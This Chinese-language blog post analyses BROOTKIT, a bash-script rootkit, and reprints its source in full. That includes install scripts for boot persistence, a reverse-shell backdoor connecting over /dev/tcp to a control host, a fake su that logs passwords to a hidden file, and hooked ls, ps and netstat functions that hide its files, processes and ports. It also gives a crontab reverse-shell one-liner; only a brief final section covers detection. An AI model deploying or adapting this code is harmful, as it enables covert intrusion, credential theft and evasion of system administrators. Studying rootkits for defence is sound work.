BROOTKIT Pinciple、Code Analysis

1. Rootkit相关知识

关于rootkit的相关其他知识,请参阅以下文章

http://www.cnblogs.com/LittleHann/p/3918030.html
http://www.cnblogs.com/LittleHann/p/3910696.html
http://www.cnblogs.com/LittleHann/p/3879961.html
http://www.cnblogs.com/LittleHann/p/3879118.html
http://www.cnblogs.com/LittleHann/p/3870974.html

 

2. BROOTKIT源码分析

0x1: br.conf

在安装BROOKIT之前,需要先对br.conf进行配置(如果是freebsd,则需要配置brsh.conf)

brootkit config file.
#the ports will be hide: port1,port2,...,portn.
HIDE_PORT               8080,8899

#the files will be hide: file1,file2,...,filen.
HIDE_FILE               br.conf,bashbd.sh,brootkit,.bdrc,brdaemon

#the process will be hide: process1,process2,...,processn.
HIDE_PROC               bashbd,brootkit,pty.spawn,brdaemon

#the connect back host domain name or ip address. 即本机的rootkit要连接的主控端(C&c)
REMOTE_HOST             10.97.235.12

#the connect back host port.
REMOTE_PORT             8080
  
#the connect backdoor base sleep time.
SLEEP_TIME              60

0x2: install.sh

#!/bin/bash

BR_ROOTKIT_PATH="/usr/include/..."

declare br_os_type=0
declare br_privilege=1
declare -a br_shell=()
declare br_shell_idx=0
declare -a br_user=()

function br_install_rootkit()
{
    cp brootkit.sh /etc/profile.d/emacs.sh
    #touch -r /etc/profile.d/vim.sh /etc/profile.d/emacs.sh
}

function br_hookhup()
{
        :
}

function br_check_shell()
{
    local idx line user shell

    while read line
    do
        # 从/etc/passwd的一行中读取用户名
        user=`echo $line | cut -d ":" -f 1`
        # 从/etc/passwd的一行中读取当前用户对应的SHELL终端
        shell=`echo $line | cut -d ":" -f 7`

        if [ "$shell" == "/bin/bash" -o "$shell" == "/bin/sh" ]; then
            br_user[br_shell_idx]=$user
            br_shell[br_shell_idx]=$shell
            ((br_shell_idx++))
        fi
    done < /etc/passwd

    [ ${#br_user} -eq 0 ] && echo "no users has bash/sh environment." && exit

    for ((idx = 0; idx < $br_shell_idx; idx++))
    do
        echo "detect user - ${br_user[$idx]} has ${br_shell[$idx]} evnironment."
    done
}

function br_check_privilege()
{
    [ $UID -eq 0 -o $EUID -eq 0 ] && br_privilege=0 || br_privilege=1
}

function br_set_rootkit_path()
{
    if [ $br_privilege -eq 1 ]; then
        BR_ROOTKIT_PATH="/home/$USER/..."
    else
        echo "install brootkit using root privilege."
    fi
}

function br_check_os_type()
{
    local line

    line=`head -n 1 /etc/issue`
    if echo $line|grep "[Cc]ent[Oo][Ss]" >/dev/null; then
        br_os_type=1
    elif echo $line|grep "[Rr]ed.Hat.Enterprise" >/dev/null; then
        br_os_type=2
    elif echo $line|grep "[Uu]buntu" >/dev/null; then
        br_os_type=3
    elif echo $line|grep "[Dd]ebian" >/dev/null; then
        br_os_type=4
    elif echo $line|grep "[Ff]edora" >/dev/null; then
        br_os_type=5
    else
        echo -e "target os type - $line is not supported."
        exit 0
    fi

    echo -e "target os type - $line"
    #echo $br_os_type
}

function br_centos_install()
{
    local idx

    cp brdaemon.sh /etc/rc.d/init.d/brdaemon
    for idx in 0 1 2 3 4 5 6
    do
        ln -s /etc/rc.d/init.d/brdaemon /etc/rc.d/rc$idx.d/S10brdaemon
        [ $? -eq 1 ] && echo "copy brdaemon $idx failed." && exit
    done
}

function br_ubuntu_install()
{
    local idx

    cp brdaemon.sh /etc/init.d/brdaemon
    for idx in 0 1 2 3 4 5 6
    do
        ln -s /etc/init.d/brdaemon /etc/rc$idx.d/S10brdaemon
        [ $? -eq 1 ] && echo "copy brdaemon $idx failed." && exit
    done
    ln -s /etc/init.d/brdaemon /etc/rcS.d/S10brdaemon
}

function br_debian_install()
{
    cp brdaemon.sh /etc/init.d/brdaemon
    update-rc.d -f brdaemon start 20 2 3 4 5
}

function br_fedora_install()
{
        local idx

        cp brdaemon.sh /etc/rc.d/init.d/brdaemon
        for idx in 0 1 2 3 4 5 6
        do
                ln -s /etc/rc.d/init.d/brdaemon /etc/rc.d/rc$idx.d/S10brdaemon
                [ $? -eq 1 ] && echo "copy brdaemon $idx failed." && exit
        done
}

function br_creat_home()
{
    mkdir -p $BR_ROOTKIT_PATH -m 0777
    [ $? -eq 1 ] && echo "mkdir $BR_ROOTKIT_PATH failed." && exit

    # 将相关配置文件、主程序文件拷贝至BROOTKIT的HOME目录下
    cp brootkit.sh br.conf brconfig.sh bashbd.sh brscan.sh $BR_ROOTKIT_PATH
    [ $? -eq 1 ] && echo "copy brootkit failed." && exit

    chmod 777 $BR_ROOTKIT_PATH
}

function br_install_backdoor()
{
        if ! type nohup >/dev/null; then
                nohup $BR_ROOTKIT_PATH/bashbd.sh > /dev/null 2>&1
        [ $? -eq 1 ] && echo "install backdoor failed." && exit
        else
                trap br_hookhup SIGHUP
                $BR_ROOTKIT_PATH/bashbd.sh > /dev/null 2>&1 &
        [ $? -eq 1 ] && echo "install backdoor failed." && exit
        fi
}

function main()
{
    # 检测操作系统类型
    br_check_os_type

    # 根据/etc/passwd检查当前系统中所有用户、以及对应的SHELL终端
    br_check_shell

    # 检测当前是否是特权(root、sduo)用户
    br_check_privilege

    # 设置ROOTKIT路径(BROOTKIT要求必须以特权用户(root、sudo)安装运行): /home/$USER/...
    br_set_rootkit_path

    # 创建B、初始化ROOTKIT的HOME目录
    br_creat_home

    # 安装BROOTKIT: $BR_ROOTKIT_PATH/bashbd.sh
    br_install_backdoor

    # 设置隐蔽的常驻自启动后门
    if [ $br_privilege -eq 0 ]; then
        case $br_os_type in
            1|2)
                # /etc/rc.d/init.d/brdaemon
                br_centos_install ;;
            3)    
                # /etc/init.d/brdaemon
                br_ubuntu_install ;;
            4)
                # /etc/init.d/brdaemon
                br_debian_install ;;
            5)
                # /etc/rc.d/init.d/brdaemon
                br_fedora_install ;;
        esac
        br_install_rootkit
    fi

    if [ $? -eq 1 ]; then
        echo "install brootkit failed."
        exit
    else
        echo "install brootkit successful."
    fi
}

main

0x3: bashbd.sh

BROOTKIT的主程序,负责解析载入配置文件,并通过Linux原生提供的特殊Socket设备连接主控端(C&c),即所谓的"肉鸡上线"

#!/bin/bash

declare BR_ROOTKIT_PATH

function br_set_rootkit_path()
{
        if [ $UID -eq 0 -o $EUID -eq 0 ]; then
        BR_ROOTKIT_PATH="/usr/include/..."
    else
                BR_ROOTKIT_PATH="/home/$USER/..."
    fi
}

function br_connect_backdoor()
{
    local target_ip=$br_remote_host
    local target_port=$br_remote_port
    local sleep_time=$br_sleep_time

    while [ 1 ]
    do    
        MAX_ROW_NUM=`stty size | cut -d " " -f 1`
        MAX_COL_NUM=`stty size | cut -d " " -f 2`
        {
        PS1='[\A j\j \u@\h:t\l \w]\$';export PS1
        exec 9<> /dev/tcp/$target_ip/$target_port
        [ $? -ne 0 ] && exit 0 || exec 0<&9;exec 1>&9 2>&1
        if type python >/dev/null;then
            export MAX_ROW_NUM MAX_COL_NUM
            python -c 'import pty; pty.spawn("/bin/bash")'
        else
            /bin/bash --rcfile $BR_ROOTKIT_PATH/.bdrc --noprofile -i
        fi
        }&
        wait

        # 通过sleep保持通道联通 
        sleep $((RANDOM%sleep_time+sleep_time))
    done
}

br_set_rootkit_path
# 运行$BR_ROOTKIT_PATH/brconfig.sh,加载配置文件
. $BR_ROOTKIT_PATH/brconfig.sh
# 读取$BR_ROOTKIT_PATH/br.conf配置文件中的参数,并保存到本地变量中
br_load_config $BR_ROOTKIT_PATH/br.conf
# 通过Linux原生自带的特殊设备: /dev/[tcp|upd]/host/port 只要读取或者写入这个文件,相当于系统会尝试连接:host 这台机器,对应port端口。如果主机以及端口存在,就建立一个socket 连接。将在,/proc/self/fd目录下面,有对应的文件出现
br_connect_backdoor

Relevant Link:

http://www.cnblogs.com/chengmo/archive/2010/10/22/1858302.html

0x4: brconfig.sh

负责解析加载配置文件的SHELL文件

#!/bin/bash

declare -a br_hide_port
declare -a br_hide_file
declare -a br_hide_proc
declare -a br_remote_host
declare -a br_remote_port
declare br_sleep_time

function br_load_config()
{
        local arg1 arg2 line

        while read line
        do
                [ "${line:0:1}" == "#" -a -z "$line" ] && continue

                arg1=`echo $line | cut -d " " -f 1`
                arg2=`echo $line | cut -d " " -f 2`

                case $arg1 in
                        "HIDE_PORT")
                                br_hide_port=$arg2;;
                        "HIDE_FILE")
                                br_hide_file=$arg2;;
                        "HIDE_PROC")
                                br_hide_proc=$arg2;;
                        "REMOTE_HOST")
                                br_remote_host=$arg2;;
                        "REMOTE_PORT")
                                br_remote_port=$arg2;;
                        "SLEEP_TIME")
                                br_sleep_time=$arg2;;
                esac
        done < $1
}

function display_array()
{
    declare -a arg_tmp=$1
    local arg old_ifs

    old_ifs=$IFS; IFS=","
    for arg in ${arg_tmp[@]}
    do
        echo $arg
    done
    IFS=$old_ifs
}

function br_display_config()
{
        echo -e "HIDE_PORT:"
    display_array $br_hide_port
        echo -e "HIDE_FILE:"
    display_array $br_hide_file
        echo -e "HIDE_PROC:"
    display_array $br_hide_proc
        echo -e "REMOTE_HOST:"
    display_array $br_remote_host
        echo -e "REMOTE_PORT:"
    display_array $br_remote_port
        echo -e "SLEEP_TIME:"
    echo $br_sleep_time
}

0x5: brscan.sh

基于Linux原生自带的/dev/[tcp|upd]/host/port Socket操作技术发起多线程扫描

#!/bin/bash

declare br_remote_host="localhost"
declare -a br_ports
declare -a br_open_ports
declare br_port_num=0
declare br_curr_port_num=0
declare br_open_port_num=0
declare br_thread_num=0
declare br_timeout=2
declare br_logfile="brscan.log"
declare total_run_time
declare max_row_num

declare -a playx=('/' '|' '\\' '-')
declare playx_len=4

declare max_col_num=64
declare base_row=0
declare base_col=1
declare cur_col=2
declare total_port=10
declare cur_port=0

function br_run_play()
{
        local i x y tmp_col

        tmp_col=$((br_curr_port_num * max_col_num / br_port_num))

        i=$((max_row_num+1))
        [ $br_thread_num -gt $i ] && x=$i || x=$((br_thread_num+4))

        for ((i = 1; i < $tmp_col; i++))
        do
                y=$((base_col+i))
                [ $y -gt $max_col_num ] && break
                echo -ne "\033[${x};${y}H>\033[?25l"
        done
}

function br_play_init()
{
        local x y i

        i=$((max_row_num+1))
        [ $br_thread_num -gt $i ] && x=$i || x=$((br_thread_num+4))

        echo -ne "\033[${x};${base_col}H\033[33m[\033[0m"

        y=$((max_col_num+1))
        echo -ne "\033[${x};${y}H\033[33m]\033[0m"
}

function compute_run_time()
{
        local day hour min rtime

        day=$(($1/3600/24))
        hour=$(($1/3600))
        min=$(($1/60))

        if [ $min -eq 0 ]; then
                sec=$(($1%60))
        total_run_time="$sec s"
        else
                if [ $hour -eq 0 ]; then
                        sec=$(($1%60))
                        total_run_time="$min m $sec s"
                else
                        if [ $day -eq 0 ]; then
                                tmp=$(($1%3600))
                                min=$(($tmp/60))
                                sec=$(($tmp%60))
                                total_run_time="$hour h $min m $sec s"
                        else
                                # 86400 = 3600 * 24
                                tmp=$(($1%86400))
                                hour=$(($tmp/3600))
                                tmp1=$(($tmp%3600))
                                min=$(($tmp1/60))
                                sec=$(($tmp1%60))
                                total_run_time="$day d $hour h $min m $sec s"
                        fi


                fi
        fi
}

function get_run_time()
{
        local run_count local_hz run_time
    local start_time curr_time

    if [ -d "/proc/$1" ]; then
            run_count=`cat /proc/$1/stat | cut -d " " -f 22`
    else
        return 0
    fi

        local_hz=`getconf CLK_TCK`
        start_time=$(($run_count/$local_hz))

        curr_time=`cat /proc/uptime | cut -d " " -f 1 | cut -d "." -f 1`
        run_time=$((curr_time-start_time))

    return $run_time
}

function br_show_open_ports()
{
    local x y i

    get_run_time $$
    run_time=$?

    compute_run_time $run_time

    i=$((max_row_num+1))
    [ $br_thread_num -gt $i ] && x=$i || x=$((br_thread_num+4))

    y=$((max_col_num+3))
    printf "\033[${x};${y}H\033[32;1m %5d/%-5d\t$total_run_time\033[0m" \
        $br_curr_port_num $br_port_num

    x=$((x+2)); y=1
    printf "\033[${x};${y}H\033[32;1m%s: ${br_open_ports[*]}\033[0m" \
        $br_remote_host 
}

# $1 => remote host
# $2 => remote port
# $3 => thread_num
function thread_scan()
{
    local tport pid pidfile sock_fd
    local i j k m=0 run_time x

    mkdir -p .scan

    for ((i = 0; i < $3; i++))
    do
        {
        let "sock_fd=$2+$i"
        let "j=$2+$i+3"
        /bin/bash -c "exec $j<> /dev/tcp/$1/${br_ports[$sock_fd]}" 2>${br_ports[$sock_fd]}
        }&
        let "k=$2+$i"
        x=$((m+3))
        if [ $x -ge $max_row_num ]; then
             m=0;x=3
        else
            ((m++))
        fi
        printf "\033[${x};1H\033[33mthread<%-5d>\t\t--\t\tpid <%-5d>\t-->\t%-5d\033[?25l" \
            $i $! ${br_ports[$k]}
        echo ${br_ports[$k]} > ".scan/$!"
        [ $br_curr_port_num -ge $br_port_num ] && break || ((br_curr_port_num++))
    done

    sleep $br_timeout

    exec 2>&-
        for pid in `jobs -p`
        do
        get_run_time $pid
        run_time=$?
        [ $run_time -eq 0 ] && continue

                if [ $run_time -ge $br_timeout ]; then
                        kill -9 $pid >/dev/null 2>&1
            rm -f ".scan/$pid"
                fi
        done

    for ((i = 0; i < $3; i++))
    do
        let "sock_fd=$2+$i"
                if [ ! -s ${br_ports[$sock_fd]} ]; then
            for pid_file in `ls .scan`
            do
                tport=`cat ".scan/$pid_file"`
                if [ $tport -eq ${br_ports[$sock_fd]} ]; then
                    br_open_ports[$br_open_port_num]=${br_ports[$sock_fd]}
                    ((br_open_port_num++))
                fi
            done
                fi
        
        rm -f ${br_ports[$sock_fd]}
    done

    br_run_play
    br_show_open_ports
    rm -fr .scan
}

# $1 => remote host
# $2 => thread_num
function br_scan_port()
{
    local i

    for ((i = 0; i < $br_port_num; i+=$br_thread_num))
    do
        thread_scan $br_remote_host $i $br_thread_num
    done
}

function br_show_ports()
{
    local i

    for ((i = 0; i < $br_port_num; i++))
    do
        echo ${br_ports[$i]}
    done
}

function parse_port()
{
    local start_port end_port port

    start_port=`echo $1 | cut -d "-" -f 1`
    end_port=`echo $1 | cut -d "-" -f 2`
    
    for ((port=$start_port; port <= $end_port; port++))
    do
        br_ports[$br_port_num]=$port
        ((br_port_num++))
    done
    ((br_port_num--))
}

function br_parse_port()
{
    declare -a ports
    local tmp_ifs port

    tmp_ifs=$IFS; IFS=','; ports=$1
    
    for port in ${ports[@]}
    do
        if echo $port|grep -e ".*-.*" >/dev/null; then
            parse_port $port
        else
            br_ports[$br_port_num]=$port
            ((br_port_num++))
        fi
    done
    IFS=$tmp_ifs
}

function br_show_arg()
{
    echo -ne "\033[1;1H"
    echo -ne "\033[31;1mhost: $br_remote_host | total ports: $br_port_num | thread num: $br_thread_num "
    echo -e "timeout: $br_timeout | logfile: $br_logfile\n\033[0m"
}

function br_scan_init()
{
    echo -ne "\033[2J"
        MAX_ROW_NUM=`stty size|cut -d " " -f 1`
        MAX_COL_NUM=`stty size|cut -d " " -f 2`
    max_row_num=$((MAX_ROW_NUM-5))
}

function br_scan_exit()
{
    echo -e "\033[?25h"
}

function br_usage()
{
    echo -e "$1 <-p> [-n|-t|-o|-h] <remote_host>\n"
    echo -e "option:"
    echo -e "-p\t\tports, pattern: port1,port2,port3-port7,portn..."
    echo -e "-n\t\tthread num, defalut is 10"
    echo -e "-t\t\ttimeout, default is 30s"
    echo -e "-o\t\tresults write into log file, default is brscan.log"
    echo -e "-h\t\thelp information."
    echo -e "\nexp:"
    echo -e "$1 -p 21,22,23-25,80,135-139,8080 -t 20 www.cloud-sec.org"
    echo -e "$1 -p 1-65525 -n 200 -t 20 www.cloud-sec.org"
}

function main()
{
    if [ $# -eq 0 ]; then
        br_usage $0
        exit 0
    fi

    while getopts "p:n:t:o:h" arg
    do
    case $arg in
        p)
            # 解析用户输入的端口信息
            br_parse_port $OPTARG ;;
        n)
            # 线程数
            br_thread_num=$OPTARG ;;
        t)
            # 时间延时
            br_timeout=$OPTARG ;;
        o)
            # 日志文件
            br_logfile=$OPTARG ;;
        h)
            br_usage $0
            exit 0
            ;;
        ?)
            echo "unkown arguments."
            exit 1
            ;;
        esac
    done
                
    shift $((OPTIND-1))
    # 待扫描的远程主机IP
    br_remote_host=$@

    [ $br_port_num -lt $br_thread_num ] && br_thread_num=$br_port_num

    #br_show_ports
    # 扫描初始化
    br_scan_init
    br_play_init

    # 显示扫描参数
    br_show_arg
    
    br_scan_port
    br_scan_exit
}

main $@

0x6: brootkit.sh

在全局范围定义了指令别名(alias)和实现函数

#!/bin/bash
# Lightweight rootkit implemented by bash shell scripts v0.08
#
# by wzt 2015     http://www.cloud-sec.org
#

#declare -r builtin
#declare -r declare
#declare -r set
#declare -r fake_unset
#declare -r type
#declare -r typeset

#unalias ls >/dev/null 2>&1

set +v

BR_ROOTKIT_PATH="/usr/include/..."

function abcdmagic()
{
    :
}

function br_hide_engine()
{
        declare -a brootkit_func=(
                                "^typeset.*()|15" "^type.*()|27"
                                "^su.*()|26" "^reset_ps.*()|8"
                                "^reset_netstat.*()|8" "^reset_ls.*()|8"
                                "^reset_command.*()|42" "^ps.*()|14"
                                "^netstat.*()|14" "^max_file_length.*()|9"
                                "^ls.*()|64" "^fake_unset.*()|10"
                                "^fake_command.*()|12" "^display_array.*()|11"
                                "^dir.*()|3" "^declare.*()|41"
                                "^command*()|39" "^builtin.*()|19"
                                "^br_load_config.*()|28" "^br_display_config.*()|14"
                                "^abcdmagic.*()|3" "^/usr/bin/dir.*()|5"
                                "^/bin/ps.*()|5" "^/bin/netstat.*()|5"
                                "^/bin/ls.*()|5" "^br_hide_file=|5"
                "^set.*()|19" "^br_hide_engine.*()|30"
                                )
        local func_line br_func func_name func_num

    echo "$1" >.br.tmp
        for br_func in ${brootkit_func[*]}
        do
                func_name=`echo $br_func | cut -d "|" -f 1`
                func_num=`echo $br_func | cut -d "|" -f 2`
                #echo $func_name $func_num
                func_line=`grep -n "$func_name" .br.tmp| awk -F: {'print $1'}`
                #echo $func_line
                sed -i "$func_line,+$func_num d" .br.tmp >/dev/null 2>&1
        done
    cat .br.tmp; rm -f .br.tmp
}

function builtin()
{
    local fake_a

    unset command
    case $1 in 
        "declare"|"set"|"unset"|"command"|"type"|"typeset")
                fake_a="$(command builtin $1 $2)"
            br_hide_engine "$fake_a"
            reset_command
            return ;;
        "builtin")
            echo "bash: builtin: builtin: syntax error, bash($BASH_VERSION) is not support."
            reset_command
            return ;;
        *)
            command builtin $1 $2
            reset_command
            ;;
    esac
}

function declare()
{
    local fake_a

    unset command
    case $1 in 
        "")
                fake_a="$(command declare $1 $2)"
            br_hide_engine "$fake_a"
            reset_command
            return ;;
        "-f"|"-F")
                fake_a="$(command declare $1 $2)"
                fake_b=${fake_a/\/bin\/ls?()*/}
            echo -n "$fake_b"
            reset_command
            return ;;
        *)
                command declare $1 $2
            reset_command
            return ;;
    esac
}

function typeset()
{
        local fake_a 

    unset command
        case $1 in
                ""|"-f"|"-F")
                        fake_a="$(command declare $1 $2)"
            br_hide_engine "$fake_a"
            reset_command
                        return ;;
                *)
                        command typeset $1 $2
            reset_command
                        return ;;
        esac
}

function type()
{
        case $1 in
                "builtin"|"declare"|"set"|"unset"|"type"|"typeset")
                        echo "$1 is a shell builtin"
                        return ;;
        "dir")
            echo "dir is /usr/bin/dir"
            return ;;
        "ls")
            echo "ls is aliased to ls --color=tty"
            return ;;
        "ps")
            echo "ps is /bin/ps"
            return ;;
        "netstat")
            echo "netstat is hashed (/bin/netstat)"
            return ;;
        "/bin/ls"|"/usr/bin/dir"|"/bin/ps"|"/bin/netstat")
            echo "$1 is $1"
            return ;;
                *)
            unset command
                        command type $1 $2
            reset_command
                        return ;;
        esac
}

function set()
{
        local fake_a

    unset command
        case $1 in
                "")
                        fake_a="$(command set)"
            br_hide_engine "$fake_a"
            reset_command
                        return ;;
        "-x"|"+x")
            reset_command
            return ;;
                *)
            echo $1 $2
                        command set $1 $2
            reset_command
                        return ;;
        esac
}

function fake_unset()
{
        case $1 in
                "builtin"|"declare"|"command"|"set"|"unset"|"type"|"typeset")
                        echo "bash: syntax error, bash($BASH_VERSION) is not support."
                        return ;;
                *)
                        unset $1 $2
                        return ;;
        esac
}

function fake_command()
{
        case $1 in
                "builtin"|"declare"|"command"|"set"|"unset"|"type"|"typeset")
                        echo "bash: syntax error, bash($BASH_VERSION) is not support."
                        return ;;
                *)
            unset command
                        command $1 $2
                        reset_command
                        return ;;
        esac
}

function command()
{
        case $1 in
                "builtin")
            builtin $2 $3
            return ;;
                "declare")
            declare $2 $3
            return ;;
        "set")
            set $2 $3
            return ;;
        "unset")
            fake_unset $2 $3
            . $BR_ROOTKIT_PATH/brootkit.sh
            return ;;
        "type")
            type $2 $3
            return ;;
        "typeset")
            typeset $2 $3
            return ;;
        "command")
            fake_command $2 $3
            return ;;
                *)
            unset command
            command $2 $3
            . $BR_ROOTKIT_PATH/brootkit.sh
            return ;;
        esac
}

function reset_command()
{
    function command()
    {
            case $1 in
                    "builtin")
                            builtin $2 $3
                            return ;;
                    "declare")
                            declare $2 $3
                            return ;;
                    "set")
                            set $2 $3
                            return ;;
                    "unset")
                            fake_unset $2 $3
                            . $BR_ROOTKIT_PATH/brootkit.sh
                            return ;;
                    "type")
                            type $2 $3
                            return ;;
                    "typeset")
                            typeset $2 $3
                            return ;;
                    "command")
                            fake_command $2 $3
                            return ;;
                    *)
                            unset command
                            command $2 $3
                            . $BR_ROOTKIT_PATH/brootkit.sh
                            return ;;
            esac
    }
}

function su()
{
        local arg_list=("" "-" "-l" "--login"
                        "-c" "--command" "--session-command"
                        "-f" "--fast"
                        "-m" "--preserve-environment" "-p"
                        "-s" "--shell=SHELL")
        local flag=0 tmp_arg arg pass

        if [ $UID -eq 0 ]; then
                /bin/su $1; unset su ; return $?
        fi

        for arg in ${arg_list[@]}
        do
                [ "$1" = "$arg" ] && flag=1
        done

        [ $# -eq 0 ] && flag=1

        tmp_arg=$1;tmp_arg=${tmp_arg:0:1};
        [ "$tmp_arg" != "-" -a $flag -eq 0 ] && flag=1

        if [ $flag -ne 1 ];then
                /bin/su $1; return $?
        fi

        [ ! -f /tmp/... ] && `touch /tmp/... && chmod 777 /tmp/... >/dev/null 2>&1`

        echo -ne "Password:\r\033[?25l"
        read -t 30 -s pass
        echo -ne "\033[K\033[?25h"

        /bin/su && unset su && echo $pass >> /tmp/...
}

unalias ls >/dev/null 2>&1

function max_file_length()
{
    local tmp_file sum=0 n=0

    for tmp_file in `/bin/ls $@`
    do
        n=${#tmp_file}
        [ $n -gt $sum ] && sum=$n
    done
    
    return $sum
}

function ls()
{ 
    local fake_file max_col_num file_format
    local hide_file hide_flag file_arg old_ifs
    local file_len=0 sum=0 n=0 display_mode=0

    max_col_num=`stty size|cut -d " " -f 2`

        . $BR_ROOTKIT_PATH/brconfig.sh
        br_load_config $BR_ROOTKIT_PATH/br.conf

    for file_arg in $@
    do
            if echo $file_arg|grep -q -e "^-.*l.*"; then
            display_mode=1; break
            fi
    done

    case $display_mode in
    0)
        unset -f /bin/ls
        max_file_length $@
        file_len=$?

        for fake_file in $(/bin/ls $@)
            do
            hide_flag=0
                old_ifs=$IFS; IFS=","
                for hide_file in ${br_hide_file[@]}
                do
                        if echo "$fake_file"|grep -e "^$hide_file" >/dev/null;then
                    hide_flag=1; break
                fi
            done
                   IFS=$old_ifs

            [ $hide_flag -eq  1 ] && continue

            n=${#fake_file}
            ((sum=sum+n+file_len))

            if [ $sum -gt $max_col_num ];then
                file_format="%-$file_len""s\n"
                printf $file_format $fake_file
                sum=0
            else
                file_format="%-$file_len""s "
                printf $file_format $fake_file
            fi
            done

        [ $sum -le $max_col_num ] && echo ""
        reset_ls
        return ;;
    1)    
        unset -f /bin/ls

        fake_file=`/bin/ls $@`
            old_ifs=$IFS; IFS=","
            for hide_file in ${br_hide_file[@]}
            do
            fake_file=`echo "$fake_file" | sed -e '/'$hide_file'/d'`
            done
            IFS=$old_ifs
        echo "$fake_file"
        reset_ls

        return ;;
    esac
}

function dir()
{
    /bin/ls $@
}

function /usr/bin/dir()
{
    unset -f /bin/ls
    /bin/ls $@
    reset_ls
}

function reset_ls()
{
    function /bin/ls()
    {
        unset -f /bin/ls
        /bin/ls $@
        reset_ls
    }
}

function /bin/ls()
{
    unset -f /bin/ls
    /bin/ls $@
    reset_ls
}

function ps()
{
        local proc_name hide_proc old_ifs

        . $BR_ROOTKIT_PATH/brconfig.sh
        br_load_config $BR_ROOTKIT_PATH/br.conf

        old_ifs=$IFS; IFS=","

        proc_name=`/bin/ps $@`
        for hide_proc in ${br_hide_proc[@]}
        do
            proc_name=`echo "$proc_name" | sed -e '/'$hide_proc'/d'`
        done

        echo "$proc_name"
    IFS=$old_ifs
}

function reset_ps()
{
        function /bin/ps()
        {
                unset -f /bin/ps
                ps $@
                reset_ps
        }
}

function /bin/ps()
{
        unset -f /bin/ps
        ps $@
        reset_ps
}

function netstat()
{
        local hide_port tmp_port old_ifs

    . $BR_ROOTKIT_PATH/brconfig.sh
    br_load_config $BR_ROOTKIT_PATH/br.conf

    old_ifs=$IFS; IFS=","
        tmp_port=`/bin/netstat $@`
        for hide_port in ${br_hide_port[@]}
        do
                tmp_port=`echo "$tmp_port" | sed -e '/'$hide_port'/d'`
        done
        echo "$tmp_port"
    IFS=$old_ifs
}

function reset_netstat()
{
        function /bin/netstat()
        {
                unset -f /bin/netstat
                netstat $@
                reset_netstat
        }
}

function /bin/netstat()
{
        unset -f /bin/netstat
        netstat $@
        reset_netstat
}

/etc/profile.d/brootkit.sh环境配置文件在这里相当于进行了BASH函数重载的操作,我们知道,Bash下执行执行是遵循一个寻址顺序的

1. builtin(alias)别名: alias su="ls -l"
2. 自定义BASH函数: function su { echo “Hello world”; }
3. Bash内置命令
4. 外部程序(搜索顺序取决于环境变量PATH的配置)
    1) .(当前目录)
    2) /bin/
    3) /sbin/
    4) /usr/bin
    5) /usr/sbin

使用Bash自定义Functino进行Bash劫持的时候,需要注意的是,Bash有一些指令可以查看到这个现象,为了规避入侵检测系统,还需要做额外的处理

1. builtin
builtin [shell-builtin [args]]
Run a shell builtin, passing it args, and return its exit status. This is useful when defining a shell function with the same name as a shell builtin, retaining the functionality of the builtin within the function. The return status is non-zero if shell-builtin is not a shell builtin command.

2. declare
declare [-afFrxi] [-p] [name[=value]]
Declare variables and give them attributes. If no names are given, then display the values of variables instead.

3. typeset
typeset [-afFrxi] [-p] [name[=value]]
The typeset command is supplied for compatibility with the Korn shell; however, it has been deprecated in favor of the declare builtin command.

4. type
type [-atp] [name ...]
For each name, indicate how it would be interpreted if used as a command name.

5. set
用set命令可以设置各种shell选项或者列出shell变量,包括用户自定义的Bash函数

6. command 
command [-pVv] command [arguments ...]
Runs command with arguments ignoring any shell function named command. Only shell builtin commands or commands found by searching the PATH are executed. If there is a shell function named ls, running `command ls' within the function will execute the external command ls instead of calling the function recursively. The `-p' option means to use a default value for PATH that is guaranteed to find all of the standard utilities. The return status in this case is 127 if command cannot be found or an error occurred, and the exit status of command otherwise.

在Bash自定义函数中,加入过滤引擎逻辑,对需要隐藏的输出进行过滤,实现了基于Bash的输出隐藏功能

Relevant Link:

https://github.com/cloudsec/brootkit
http://www.faqs.org/docs/bashman/bashref_55.html
http://www.4byte.cn/learning/44254.html
http://www.gnu.org/software/bash/manual/bashref.html#Executing-Commands

 

3. 关键技术点

1. more hidable ability against admintrator or hids.
相比于传统的Ring3 ELF Replace Rootkit、VFS Hook Rootkit、LKM ROOTKIT的那种"系统外来物",brootkit的安装和运行并没有造成系统产生很多"异常"的行为,/brootkit有种润物细无声的感觉,充分利用了系统原生提供的机制
    1) Bash自定义Function劫持,实现Bash输出Hook
    2) /dev/[tcp、udp]网络socket特殊设备
    3) /etc/profile.d/emac.sh默认自启动脚本 

2. su passwd thief.
3. hide file and directorys.
4. hide process.
5. hide network connections.

6. connect backdoor.
利用了系统原生提供的socket设备文件/dev/[tcp/udp]/..来实现socket连接和sleep保持连接肉鸡上线
7. muilt thread port scanner.
8. http download.

function ps()
{
        local proc_name hide_proc old_ifs 

        old_ifs=$IFS; IFS=","

        proc_name=`/bin/ps $@` 
        proc_name=`echo "$proc_name" | sed -e '/'crond'/d'` 

        echo "$proc_name"
    IFS=$old_ifs
}
//通过bash builtin内建函数隐藏crond进程

alias top='top | grep -v crond'

0x1: 建立隐蔽SHELL后门

crontab
* * *  * * exec 10<> /dev/tcp/127.0.0.1/888;exec 0<&10;exec 1>&10 2>&1;/bin/bash --noprofile -i;

在C&C主控端监听指定端口

nc -l 888

Relevant Link:

http://blog.csdn.net/nash603/article/details/6152200
http://www.cnblogs.com/zhaoyl/archive/2012/07/07/2580749.html
http://www.cnblogs.com/chengmo/archive/2010/10/20/1855805.html

 

4. 防御策略

BROOTKIT的亮点主要在于基于BASH的自我隐藏、基于/dev/[tcp、udp]的隐蔽网络连接,如果直接从静态的角度来说很难检测出这个rootkit,或者准确地说是很难将brootkit和正常系统文件区分开来,但是从动态主防的角度是可以检测出brootkit的

1. 指令执行捕获
brootkit实现了文件隐藏、进程隐藏,但是黑客在系统上执行的指令依然会被捕获到,例如使用LD_PRELOAD Hook技术

2. 网络外连捕获
cat < /dev/tcp/www.baidu.com/80

exec 3<>/dev/tcp/www.google.com/80
echo -e "GET / HTTP/1.1\r\nhost: http://www.google.com\r\nConnection: close\r\n\r\n" >&3
cat <&3
/*
这种网络外连请求好像不是走的socket connect渠道,/dev/tcp是一个伪设备,那可能走的直接是VFS的read、write层了
ring3的LD_PRELOAD glibc function hook
ring0的sys_connect function hook
都无法捕获到这个网络外连请求
http://chenhuican.diandian.com/post/2014-11-07/40063344563
*/

0x1: Bash指令劫持检测

1. 通过Bash指令: cut -d: -f1 /etc/passwd,获取当前账户列表
2. 遍历列表,调用getpwnam、getgrgid获取每个账户的pw_name、pw_shell,过滤出是shell为非"/sbin/nologin"的账户
